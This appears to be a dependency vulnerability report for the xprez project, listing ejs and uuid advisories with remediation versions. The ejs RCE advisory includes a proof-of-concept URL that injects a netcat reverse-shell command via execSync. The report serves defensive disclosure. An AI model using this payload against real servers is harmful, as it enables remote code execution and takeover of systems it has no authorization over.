Vulnerabilities

 3 via 3 paths

Dependencies

 89

Source

 GitHub

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Severity
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Status
  • 3
  • 0
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high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: xprez@yzhan1/xprez › ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.7.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

Remote Code Execution (RCE) vulnerability report

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: express-request-id@1.4.1

Detailed paths

  • Introduced through: xprez@yzhan1/xprez › express-request-id@1.4.1 › uuid@3.4.0

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

Improper Validation of Specified Index, Position, or Offset in Input vulnerability report

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: xprez@yzhan1/xprez › ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.10.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

Improper Control of Dynamically-Managed Code Resources vulnerability report